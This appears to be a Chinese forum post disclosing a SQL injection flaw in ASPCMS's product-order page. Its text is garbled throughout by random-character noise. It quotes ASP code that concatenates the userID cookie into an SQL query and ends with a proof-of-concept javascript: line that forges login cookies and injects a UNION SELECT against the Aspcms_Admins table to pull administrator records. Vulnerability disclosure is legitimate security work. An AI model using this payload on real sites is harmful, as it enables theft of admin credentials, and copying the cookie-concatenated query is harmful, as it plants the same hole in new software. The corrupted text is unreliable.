+ k# G- @: r' O# Y3 E. \<% ' E8 _$ V4 I) p; A 0 G, _' Q# R: m: hif action = "buy" then ) E8 h& V: o3 ~" a# `5 b8 r- j2 p: X( U: G/ s$ Z, R
addOrder()% ?& t: j4 x' y1 ~* v4 ?0 t6 O
* c; j# ]% S5 a) C- r
else # ^( J9 k$ ]6 B # X p! {1 B: Y: P% q# }9 b5 Y echoContent()/ U8 h1 [! o: w3 C& j
2 S8 H6 {& a2 ]5 G( I5 W
end if3 p, z3 y; @' L9 Y1 I
: [2 [" }, t' y' W. u % x: ~8 N% D. |7 A( h8 L 7 b& x3 ~5 W( K: R# ~3 e: _3 {……略过$ M* f# k& |" U4 o; \$ q
* N8 ~; E3 l: _. B& g1 m* M0 S
# _# M" p& y; P# Z: O6 i + J9 {& N4 U6 c9 F+ @$ i6 }Sub echoContent()- `% O W' H- y0 u" E) o1 @3 d
+ o5 p+ f7 v& X& ^' M
dim id6 s2 N9 I9 r5 W1 S4 M0 c2 g
! [% T2 N5 r2 ?+ s0 a [ id=getForm("id","get") 4 h8 P( X% D) H: S6 b; V# z ` 3 p. i. b1 n2 F- u0 k5 m ( ~: s" q1 b* H( s6 S) T " d+ I& X: M) L0 |, X9 S7 Y- c% @ if isnul(id) or not isnum(id) then alertMsgAndGo "请选择产品!","-1" i; \5 l P% m! h/ w2 ^* R" G8 \; ^
: ^' `) c9 w- L$ U . B% r1 q6 Q% ~0 B2 A* w4 k + k, S) Z3 l, i* D- } dim templateobj,channelTemplatePath : set templateobj = mainClassobj.createObject("MainClass.template")2 Q3 ?. `6 ]! s8 {/ `$ `
8 l: o+ c4 n; N- m" F/ P5 g dim typeIds,rsObj,rsObjtid,Tid,rsObjSmalltype,rsObjBigtype,selectproduct1 X$ `; D7 w* o9 C+ S9 M
! w& E! O+ ~: `8 y. `, |
Dim templatePath,tempStr ) R @, [0 j7 @5 F" q" V! d& f7 E0 p+ p& ^
templatePath = "/"&sitePath&"templates/"&defaultTemplate&"/"&htmlFilePath&"/productbuy.html"3 x/ ]' Z7 {3 j" k ~4 S
# T) u. Y. A6 q3 b0 j ~1 e: a) g, \1 p5 f
* n0 d b* j8 P/ F: h
set rsObj=conn.Exec("select title from aspcms_news where newsID="&id,"r1") 4 i+ v% E# J3 f/ w p1 q/ ?0 B2 r* c, X1 [8 P8 w/ }/ V
selectproduct=rsObj(0)/ ~! F- I; J& r5 b
& m& L# h: W9 e. w" G# G. j- @ % `7 p' j; \0 r/ y' a1 g- X
3 E" q" J- r' g% e6 ?! h7 _
Dim linkman,gender,phone,mobile,email,qq,address,postcode + m9 G9 Z0 k4 Y: l+ W $ J! s5 r" B# P: V! { if isnul(rCookie("loginstatus")) then wCookie"loginstatus",0" K6 z+ t6 f1 n O/ i0 v9 P; E' S
. `$ u3 u% N3 O! d# u& H) q/ d if rCookie("loginstatus")=1 then 8 Z' a. c; N: L4 R" x' R# g( P + K- S8 T* x, x7 C* b B' } set rsObj=conn.Exec("select * from aspcms_Users where UserID="&trim(rCookie("userID")),"r1")+ y0 X3 m& V- e3 q" |& S5 O
) U' B) |! t% u6 t. e
linkman=rsObj("truename") # |: b. x/ J" G4 _' W7 A; [( ~3 D8 g! @8 E- I4 s
gender=rsObj("gender") , [0 S/ N3 ^$ Y: e! r T# o5 \1 `" ^' f5 S `
phone=rsObj("phone") 0 V. f4 c Q9 m8 e4 ? : T2 A( @. x6 A7 t: V mobile=rsObj("mobile")4 ^$ P! r3 S% D" ?0 G; g
0 E/ a8 n3 w4 s# W1 m: d: k email=rsObj("email")' i" c6 r3 ^! Z3 s9 P/ U
# Z/ U4 F) q* d4 H7 T qq=rsObj("qq")2 C$ S! u. F1 |5 }; {& I: ]
- U' b D7 @* o1 c( L# G% e address=rsObj("address")2 J4 r8 q' m6 u" M, w! B6 g( M# l
9 j3 y* {( N8 U9 x postcode=rsObj("postcode") a% p; b. R, s
! {( s- Y# j7 y# x4 r
else & u8 _4 ^& ~$ R7 M, `4 A7 b2 V
! z5 r& y/ ^2 I- v
gender=12 K9 |+ I$ B4 S" K/ Z8 ^% @ d
! h* J' m7 u9 | | end if 9 V7 P3 h! f) G- [, a1 J2 i4 U" A: [# k4 ^8 O* e
rsObj.close()8 t* U3 z* j7 e1 U5 x8 h
* _ i: P4 l6 a' e& T) B& i- O
5 V+ Z8 @2 }* Z7 w" }9 c " e% n" K$ V6 p9 w* h2 | with templateObj R' ~7 {6 q& J$ b9 q) q& X/ e# N0 x) S8 H8 u# v
.content=loadFile(templatePath) - y- L; O1 |( u: ~
# J0 g( \9 G8 n* b7 G* p$ |/ t; Q
.parseHtml() 6 t% ]; q( i$ |, I$ B) `& t M, F( j, C/ o: ]6 j: r8 d9 P( D
.content=replaceStr(.content,"{aspcms:selectproduct}",selectproduct) ! q3 {' C3 T" ~/ N 0 v4 {' K1 s3 X1 e: P4 y .content=replaceStr(.content,"[aspcms:linkman]",linkman) # A1 V4 X" ]+ S3 ]" |8 R P( R
4 l) g! Q, t) j5 L .content=replaceStr(.content,"[aspcms:gender]",gender) % s* ?& t" z& G5 R% [" \9 O7 a
v% U9 w& Q8 O, r/ H' _& u. `
.content=replaceStr(.content,"[aspcms:phone]",phone) " \9 F# S: s, h F* p+ i 9 S! n6 @4 L+ D% K* H .content=replaceStr(.content,"[aspcms:mobile]",mobile) 4 r: a, z# `1 m$ R6 C, c! ]- n
4 E7 q, b7 h" N4 d .content=replaceStr(.content,"[aspcms:email]",email) 5 e0 ^1 k* x' n5 ] l: D, T" U
1 ^, l1 \" @6 s) ~$ P$ T
.content=replaceStr(.content,"[aspcms:qq]",qq) # r9 V& I; i+ \7 k2 b0 H; C2 r% D3 { q: h, Y) \
.content=replaceStr(.content,"[aspcms:address]",address) % @' c/ l& f. W2 S) @" g/ z" o( N" B( ?3 Y
.content=replaceStr(.content,"[aspcms:postcode]",postcode) 7 b0 Y2 X e! }4 D9 ^3 ?6 c * T3 m3 X' c0 d6 J4 ]/ Z1 a$ _ .parseCommon() ! p6 d! }8 A* R# C9 Y
3 `: u0 p& }- U! k$ P& T. L' n
echo .content 7 g6 S# P) n; x: y( g6 a- D # g8 }! ^" V2 k5 _ end with 5 h3 q. ]/ t F4 B) q% d ; D7 r" H0 d6 H' U$ \0 L+ O set templateobj =nothing : terminateAllObjects3 ~' b! S( C( R* ]. ?* D o
% i8 \5 v# r& Z0 @. VEnd Sub+ c& y8 ]: l& c- c( o7 q
漏洞很明显,没啥好说的( J# O; a; B8 M8 b
poc:- U% I" o3 Z5 C G5 C- M
5 ]+ `$ n+ K9 }# Ljavascript:alert(document.cookie="loginstatus=" + escape("1"));alert(document.cookie="userID=" + escape("1 union select 1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2 from [Aspcms_Admins]"));另外,脚本板块没权限发帖子 4 U2 q' T1 V' I3 i0 q w; C, M: m3 s$ ^$ i9 E1 {, G